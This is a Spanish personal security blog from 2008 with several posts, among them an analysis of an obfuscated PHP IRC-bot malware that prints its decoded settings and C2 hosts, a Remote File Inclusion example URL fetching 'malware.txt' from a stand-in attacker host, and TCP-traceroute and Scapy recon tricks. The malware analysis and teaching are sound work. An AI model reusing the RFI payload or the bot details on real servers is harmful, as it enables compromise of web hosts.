viernes, 30 de mayo de 2008

Somos Como Somos (2)

No hay nada peor que la falta de ética de un contrincante, y eso no puede quedar mejor demostrado que en un partido de paintball.

El año pasado, con mis compañeros de trabajo desafiamos a otra empresa de tecnología a un match de paintball que tuvo lugar en Urban Paintball. En el otro equipo, solo había 2 integrantes que efectivamente trabajan en la empresa que habíamos desafiado, el resto eran jugadores profesionales de paintball y hasta había uno que era un comando de la policía federal.

Ya se imaginaran lo desvirtuado que estaba el desafío, y fue peor aun porque del otro equipo no cantaban las bajas, y cuando las cantábamos nosotros seguían disparando.

Varias veces estuvo todo por terminar muy mal, pero el punto culmine fue cuando uno de nuestro equipo sale de nuestra base en el fondo para llegar hasta el centro, y después de cantar varias veces la baja, y de seguir recibiendo disparos, rompe la marcadora contra un tanque, y hasta se puede ver como se escapa el gas...



Después de esto nos quedamos con un hombre menos, pero así y todo solo perdimos por un punto.


Finalmente todo termino en paz y armonía, pero si nos volvemos a cruzar con esos hdps...

martes, 27 de mayo de 2008

El Firewall No Tiene La Culpa

Un nuevo día en el trabajo, y otra vez un firewall estaba a punto de ser culpado de todos los males de la Red. Como siempre, el problema estaba en otro lado.

Esto me recordó los años que pase como administrador de una importante granja de firewall's, en donde todos los días, casi sin excepción, algún personaje del área de IT se aparecía con la intención de resolver sus problemas echándole la culpa al firewall.

Los enemigos No. 1 de los firewall's son los de Networking. De alguna forma hiere sus sentimientos que haya un dispositivo de red que no sea administrado por ellos, y que encima, sirva para controlar todas sus redes. No tengan dudas que al primer problema de conectividad siempre le van a echar la culpa al firewall.

Después vienen los de sistemas, acostumbrados a hacer y deshacer a su antojo, no soportan ser controlados. Para colmo, se la pasan usando protocolos multipuertos como NetBIOS. Sin dudas, al primer problema para copiar un archivo por recursos compartidos van a venir a preguntarte si el firewall tiene la culpa. Si es mas fácil preguntar que investigar el problema, ¿ o no ?

Pero los peores son los desarrolladores, a estos no les importa nada. Para que van a seguir las buenas practicas de programación, por ejemplo situando todas las aplicaciones Web en diferentes directorios del puerto 80, ¿ para que no ? si total hay 65535 puertos por IP, y es mas fácil ponerle a cada aplicación un puerto diferente. Después ya saben, al primer inconveniente con sus aplicaciones mal programadas e inseguras, no dudaran en ir a preguntarte si el firewall esta bloqueando algo.

Bueno ya esta, quien necesita un psicólogo pudiendo hacer catarsis en el Blog :-) ¿ Alguien tiene alguna anécdota para compartir ?

sábado, 24 de mayo de 2008

Somos Como Somos

Para demostrar la viveza criolla de los argentinos por Europa, les dejo un video de mis amigos Federico y Francisco, realizando un “Eiffel Tower Coin Authentication Attack”.



Aprovecho para felicitar a Francisco, que estuvo en la conferencia Troopers 2008 en Munich, dando la charla "Evilgrade: You have pending upgrades" que dio en la ekoparty el año pasado.

El que tiene el collar verde es uno de los organizadores de Troopers 2008, luciendo la remera oficial de la ekoparty que le llevaron Pancho y Fede de regalo.


Dicho sea de paso, la ekoparty 2008 se viene con TODO! ;-)

- ekoparty Security Conference
- Infobyte Security Research

jueves, 22 de mayo de 2008

Ventajas de Hacer un Traceroute con TCP

Esto puede parecer un poco obvio, pero mucha gente desconoce que hacer un Traceroute con TCP, es mucho más efectivo que hacerlo con ICMP o UDP, protocolos utilizados en las implementaciones de Traceroute de Windows y Linux.

Es más, como Traceroute trabaja con el campo TTL de la cabecera IP, podríamos utilizar cualquier protocolo que trabaje con IP. El problema con ICMP y UDP, es que cualquier administrador de Firewall's que medianamente sabe lo que hace, sin dudas va a filtrar estos protocolos.

Veamos un ejemplo usando ICMP con el clásico Traceroute de Linux/BSD:



kfs:~ root# traceroute -n www.presidencia.gov.ar
traceroute to www.presidencia.gov.ar (200.1.116.83), 64 hops max, 40 byte packets
1 192.168.1.1 0.453 ms 0.140 ms 0.151 ms
2 201.216.xxx.xxx 1.917 ms 3.164 ms 1.733 ms
3 200.61.175.126 1.281 ms 1.362 ms 1.466 ms
4 200.61.173.2 1.422 ms 1.437 ms 1.494 ms
5 200.0.17.104 12.159 ms 9.444 ms 5.563 ms
6 * * *
7 * * *
8 * * *
9 * * *
^C
kfs:~ root#



Pueden ver que a partir del salto 6 ya perdemos el rastro de la ruta que seguia el paquete.

Por otro lado, la ventaja de utilizar TCP, es que siempre vamos a poder encontrar una Web con el puerto 80 abierto hacia donde podamos hacer nuestro Traceroute. Para esto, vamos a necesitar alguna herramienta para customizar paquetes como puede ser Scapy o Hping.

Veamos un ejemplo con Hping (con "CTRL+z" hacen crecer la TTL):



kfs:~ root# hping3 -S -t 1 -p 80 -n -z www.presidencia.gov.ar
HPING www.presidencia.gov.ar (en0 200.1.116.83): S set, 40 headers + 0 data bytes
TTL 0 during transit from ip=192.168.1.1 2:
TTL 0 during transit from ip=201.216.xxx.xxx 3:
TTL 0 during transit from ip=200.61.175.126 4:
TTL 0 during transit from ip=200.61.173.2 5:
TTL 0 during transit from ip=200.0.17.104 6:
TTL 0 during transit from ip=200.1.116.83 7:
len=46 ip=200.1.116.83 ttl=249 DF id=55502 sport=80 flags=SA seq=13 win=1608 rtt=4.6 ms
len=46 ip=200.1.116.83 ttl=249 DF id=55607 sport=80 flags=SA seq=14 win=1608 rtt=7.5 ms
len=46 ip=200.1.116.83 ttl=249 DF id=55775 sport=80 flags=SA seq=15 win=1608 rtt=14.0 ms
^C
--- www.presidencia.gov.ar hping statistic ---
21 packets tramitted, 19 packets received, 10% packet loss
round-trip min/avg/max = 4.4/7.7/14.0 ms
kfs:~ root#



A diferencia del ejemplo anterior, pueden ver que ahora hemos logrado descubrir el salto numero 6, y también logramos llegar a destino, ya que recibimos el SYN/ACK del paquete SYN que enviamos al puerto 80.

Casi todos los IDS's pueden detectar un Traceroute debido al valor tan bajo con el que llega la TTL del paquete, pero es mucho menos sospechoso usar TCP que ICMP o UDP, que son comúnmente usados por los Traceroute de Windows y Linux.

Por otro lado, si queremos usar UDP, es recomendable usar algún protocolo específico como DNS. El clásico Traceroute UDP de Linux, envía paquetes UDP a puertos altos (generalmente filtrados) esperando recibir mensajes de error ICMP "port unreachable" cuando llega a destino. Pero si en vez de hacer esto, enviamos paquetes al puerto 53/UDP, con un payload de DNS, no solamente el firewall nos permitiría pasar, sino que también sabríamos que llegamos a destino porque el DNS contestaría nuestro request.

lunes, 19 de mayo de 2008

Cómo Contar Hosts Detrás de un DNAT

En mi post "Ajusticiando con Scapy", entre otras cosas utilizamos el IPid para detectar que host era el que generaba mayor trafico entre un grupo de sistemas sospechosos.

Ahora vamos a usar Scapy, para mediante un análisis diferente del IPid, poder contar que cantidad de hosts se encuentran detrás de un DNAT.

Pero, ¿ Qué es el IPid ?

El campo ID del protocolo IP, o "IPid", es utilizado para identificar segmentos fragmentados en el ensamble de paquetes. Debido a que en muchos SO's el IPid fue implementado como un contador secuencial, esto permitió una variedad de ataques en los casos donde fuera posible realizar una predicción del mismo.

La técnica que vamos a utilizar consiste en enviar paquetes a un puerto y analizar el IPid de las respuestas. La idea es buscar diferentes grupos de IPid's, lo que nos dará la pauta de que hemos identificado diferentes hosts. Por ejemplo, los IPid's del 2000 al 2200 podrían pertenecer a un host "A", mientras que los del 41200 al 41400 a un host "B".

¿ Para qué nos sirve contar host's detrás de un DNAT ?

Un "Destination NAT" es un tipo de NAT en donde de forma transparente se cambia la dirección IP de destino por otra IP, y viceversa con el paquete de respuesta. Generalmente se utiliza para trasladar una IP publica, a una IP privada de la DMZ.

Si por ejemplo realizamos nuestro análisis a un servidor Web, podríamos descubrir que cantidad de servidores internos están atendiendo las peticiones HTTP. Esto podría llegar a sernos útil durante un PenTest, por ejemplo para conocer si existe un Load Balancer en la red, que tal vez pueda ser un nuevo punto de ataque, o identificar que cantidad de servidores Web poseen un CGI vulnerable. Pero hay muchas otras cosas mas en donde esta técnica puede sernos muy útil, todo va a depender de nuestro objetivo.

El código para hacer esto sumamente simple. Vamos a enviar 1000 paquetes al puerto 80 de nuestro objetivo, y luego vamos a graficar las respuestas basándonos en el IPid:



a,b=sr(IP(dst="www.target.com")/TCP(sport=[RandShort()]*1000))
a.plot(lambda x:x[1].id)



En este primer ejemplo utilizamos www.yahoo.com.ar y claramente se puede ver 1 host detrás del DNAT:


En este otro ejemplo, de una empresa argentina de venta on-line, podemos visualizar como mínimo 5 host's detrás del DNAT:


Finalmente, en www.google.com.ar, no es tan claro el resultado, pero podemos visualizar varias rectas paralelas, lo que nos indica que hay por lo menos mas de 10 o 15 host's:


En este mismo ejemplo, si miran con atención, pueden ver que el dibujo del IPid forma la imagen de TUX, el pingüino de Linux.

Ustedes también lo pueden ver, ¿ no ? ¿ no ?

viernes, 16 de mayo de 2008

int getRandomNumber()

Ultimo Momento! Se han publicado los algoritmos de generación de números al azar utilizados por Debian para su material criptográfico. (Ver: Debian Security Advisory)



miércoles, 14 de mayo de 2008

Un Billón de Dólares o Morir Intentándolo

Encontré una presentación muy interesante que dió David Heinemeier Hansson, el creador de Ruby on Rails, que propone ver el negocio de hacer dinero online de una manera diferente.

David presento "El (un) secreto para hacer dinero online" en Startup School 08, un ciclo de conferencias para nuevos emprendedores.


(Pueden ver el video con los slides en Omnisio)

Algunas de las claves de la presentación de David son:
  • Las probabilidades de que nuestra Startup sea la próxima Facebook, Google, YouTube o MySpace, y ganemos 1 Billón de Dólares, es de 1 en 10.000. El problema es que nos han lavado la cabeza haciéndonos pensar que es sumamente simple.
  • En cambio, las probabilidades de que nuestra Startup logre hacer 1 millón de dólares al año son de 1 en 10. Y no hay que ser un "Fucking Genius".
  • La clave es crear un servicio simple que la gente utilice y cobrar por el mismo. Con una suscripción mensual de 2.000 clientes x 40$ x 12 meses, obtenemos 1.000.000$ al año.
Obviamente, tampoco es tan simple como ofrecer un servicio online, conseguir 2000 clientes y ganar un millón al año. Pero seguramente es mucho mas simple que crear una Startup con el objetivo de que sea la próxima Facebook.

En Buenos Aires, con el boom de las Startups, los clubes de inversores ángeles y Palermo Valley (la copia criolla de Silicon Valley), es increíble ver Startups que todavía no están en Alpha, pero que en sus Blog's ya aspiran a ser comprados en cientos de millones de dólares. ¿ Acaso estamos presenciando la burbuja .com 2.0 ?

Al contrario de la creencia popular, David no vive del desarrollo de Ruby on Rails, sino que es socio de una empresa llamada 37 Signals que ofrece simples aplicaciones Web para oficina.

NOTA: Cuando hablo de 1 Billón me refiero a Mil Millones. ¿ Pero sabían que 1 Billion en inglés, son "Mil Millones", y un Billón en español, son "Un Millón de Millones". ? (Ver Wikipedia)

¿ Vieron ? Todos los días se aprende algo nuevo en KungFooSion ;-)

domingo, 11 de mayo de 2008

Orígenes Media Maratón 21 km

Hoy a la mañana corrí los 21 km de la Media Maratón de Orígenes, mi primera Media Maratón.

La Media estuvo muy bien organizada, hubo alrededor de 2700 corredores, y si bien esta fue la segunda edición de este evento, ya se puede decir que es todo un clásico.

Como fueron mis primeros 21 km, no me quise hacer el héroe buscando tiempo. Mi objetivo era solo "llegar", y si lo hacia en menos de 2 horas buenísimo.

Finalmente logre mi humilde objetivo, logre llegar en 1 hora con 55 minutos y 14 segundos. Y sí, me duele todo!

Este es un mapa del recorrido:


Este es el mapa del recorrido visto con Google Earth, fíjense que arriba a la izquierda esta la cancha de River, mas o menos desde donde largamos, y abajo a la derecha esta la Facultad de Derecho, hasta donde llegamos para luego volver nuevamente a la largada:

sábado, 10 de mayo de 2008

Analizando un Malware en 15 Minutos

Un amigo me envió un misterioso archivo, con el cual estuvieron realizando ataques a su servidor Web, para que intente descubrir de que se trataba.

El nombre del archivo era "images" y era un PHP que tenia su código fuente ofuscado. Se pueden bajar el archivo desde aquí, o a continuación les copio algunos fragmentos para que tengan idea de que se trata:



function jc8a89c2c306fb($t341be97d9aff9)
{ $t341be97d9aff9 = str_replace(" ", "", $t341be97d9aff9);
return $t341be97d9aff9; }
function yb5d21085bf2c0($t341be97d9aff9)
{ $t341be97d9aff9 = base64_decode(jc8a89c2c306fb($t341be97d9aff9));
return $t341be97d9aff9; }
$nec12e0af93cb5 = array (
"po" => 8080, "sp" => "uJijk4iVsIXRmQ==",
"ch" => "aFZtlg==",
"ke" => "hniT",
"ha" => "dG1qQk1halK/nE6N",
"pa" => "fpekVYhVdlWQXGLBXnBWWId1hll1WVWJVFpYh1tahVs=",
"tr" => "*", "mrnd" => 9,
"mo" => "cqtrig==",
"ve" => "dmFyWIc=" );



Me imagine que si era un malware muy conocido, seguramente podría encontrar algo en Google buscando por su hash MD5:


En este caso no encontré demasiados resultados, pero este hash aparecía en un listado de malwares del Honeynet de la República Checa:


No había mucha mas información que esto, pero se imaginaran que si aparecía en un honeynet no era nada bueno.

Cuando estaba comenzando a entender las dos primeras funciones que se encargan de la ofuscación del código, me encontré con alguien que ya se había tomado el trabajo de hacer la ingeniería inversa.

Pueden ver todo el código PHP desofuscado aquí, o a continuación les copio algunos de los fragmentos mas interesantes:


$settings = array(
"po" => 8080, // Port
"sp" => "uJijk4iVsIXRmQ==", // Server Password, secretpass
"ch" => "aFaw", // Channel, ##p
"ke" => "spd1iYSUqA==", // Channel Key, md5hash
"ha" => "dG1qQk1halK/nE6N", // Admin host RegEx, /:*!*@*.av$/
"pa" => "fpekVYhVdlWQXGLBXnBWWId1hll1WVWJVFpYh1tahVs=", // Admin password (md5 hash), 9dd4e461268c8034f5c8564e155c67a6
"tr" => "*", // Command prefix
"mrnd" => 9, // Nick/User length
"mo" => "cqtrig==", // -x+i
"ve" => "dmFyWA==" // 1.27
);

...
...
...

$servers = array(
"sqytlpaKo4a/lI6MnaWIiI+zUYSvkA==", // mymusicband.weedns.com
"sqywiZKPpZLTk4zDmG6aiYakkZRuhpCR", // myphonenumber.weedns.com
"rpihlYyTr5LWVKHDi6SRl0+jko4=", // ieatironx.weedns.com
"rZytgpFPr5TDlI7MmW6FiQ==", // himan.opendns.be
"sKJuhYdPopDTi5bHlKVRhoY=", // ko.dd.blueline.be
"tWeuVFZSclfDVI7CVKKPmYasjI+lUYOJ", // p4n33123e.dd.blueline.be
"vaOokJFUbpPOi5jClLNRhoY=", // xphon3.opendns.be
"sqywiZKPpVeMipjHlm6RiZU=", // myphone3.dnip.net
"sqytlpaKo5eMipjHlm6RiZU=" // mymusics.dnip.net
);



Este código en PHP es simplemente un cliente IRC que se va a conectar al puerto 8080 de los hosts que aparecen en el código. Una vez que este cliente ingresa al canal del IRC, el atacante puede ejecutar comandos en el servidor víctima directamente desde allí, por ejemplo para terminar de comprometer el host, realizar ataques de DDoS, etc.

Pero mas interesante que esto, es saber como se logro ejecutar este malware en el servidor Web. El ataque fue realizado mediante una "Remote File Inclusion Vulnerability".

Este tipo de ataque aprovecha un error muy común de programación en PHP, en donde no se verifica correctamente los valores pasados a las funciones include, include_once, require y require_once.

Estas funciones, se utilizan para incluir el código de una pagina dentro de otra, ya sea para reutilizar el código u otra razón. Generalmente el programador haría algo como esto:



include($pagina);
// resto del codigo...



Usualmente, los atacantes no muy sofisticados, solamente van a intentar ejecutar comandos en el servidor víctima. Para esto, el atacante debería guardar en otro servidor el codigo malicioso:



system($cmd);



Supongamos que se llama "malware.txt", y se encuentra guardado en "http://atacante.com/malware.txt". Para ejecutarlo en la víctima, simplemente habría que hacer lo siguiente:



http://victima.com/index.php?pagina=http://atacante.com/malware.txt&&cmd=ls



Es importante que el codigo malware no tenga una extensión ".php", ya que de lo contrario primero se va a ejecutar en el servidor atacante.

Bueno, eso es todo, para un análisis mas profundo mi amigo debería invitar algunas cervezas. Guinness, por supuesto.

domingo, 4 de mayo de 2008

De Paseo por la Feria del Libro

Para todos los Geeks que todavía no visitaron la 34 Feria Internacional del Libro de Buenos Aires, les dejo algunos comentarios por si tienen pensado comprar algunos libros próximamente.

Cada año no deja de sorprenderme este evento, y sin ninguna duda vale la pena ir a visitarlo. La entrada cuesta 10$ (3 USD), y en teoría hay un descuento del 10% en las compras de los libros, pero hay algunos stands que por alguna razón no lo tienen.

Respecto a libros técnicos, encontré muchísimo menos que en ediciones anteriores. La editorial que mayor variedad tenia era Cuspide.


En general la mayoría era de sistemas operativos, programación y aplicaciones. Específicamente de seguridad, había algunos de firewalls en Linux, y los mas interesantes eran "Hacking Exposed 4", 118$ (37,28 USD), y "El Arte de la Intrusión" de Mitnick, 71$ (22,43 USD). Pero ninguno me gusto lo suficiente como para comprarmelo.

También estaba la editorial de USERS, con un humilde stand, y no mucho mas si buscan libros técnicos.


Entre muchas otras cosas interesantes, el área de cómics era imperdible, y hasta se encontraba Ciruelo firmando sus obras con una multitud de gente alrededor.




Hasta el 12 de Mayo tienen tiempo, así que no se lo pierdan!

jueves, 1 de mayo de 2008

La Culpa es de la Lluvia Cósmica

Todos los que trabajamos en empresas de servicios, alguna vez nos hemos encontrado con un problema que sin ninguna acción de nuestra parte se soluciono mágicamente.

Obviamente, el cliente siempre va a esperar una respuesta técnica que explique porque se produjo el problema y como se soluciono. Cuando esa respuesta no existe, no queda otra opción que recurrir al fabricante del producto.

¿ Pero que hacer cuando el fabricante le echa la culpa a la lluvia cósmica ?


This is a True Story...

Uno de mis mejores amigos, trabaja en una empresa de tecnología que brinda servicios de Networking. Un día, recibe una solicitud de soporte de un cliente al cual, sin ninguna razón explicable, se le reinicio el Switch de Core de su LAN. Como esto sucedió en el Switch de Core, y afecto gravemente los servicios de su empresa, era importantísimo para el cliente conocer por que había pasado.

Ante lo inexplicable del asunto, mi amigo abre un caso de soporte directamente con el fabricante, que durante mas de un mes le solicita absolutamente de todo, la configuración del equipo, la imagen que utilizaba, dumps de memoria, capturas de trafico, etc.

Cuando ya no había mas nada que solicitar, y la presión del cliente era cada vez mas fuerte, llega la esperada respuesta de uno de los ingenieros mas importantes que posee este fabricante.

La respuesta, era un mail larguísimo que increíblemente explicaba que no había nada malo con el equipo, sino que el problema se produjo debido a la "lluvia cósmica". Daba una infinidad de referencias a estudios científicos, y la teoría que ellos tenían respecto al reinicio sin razón del equipo, era que la lluvia cósmica cambio una serie de bits en la memoria del Switch y esto provoco que el equipo se reinicie.

Increíble. Pero ya saben, la próxima echenle la culpa a la lluvia cósmica.

LinkWithin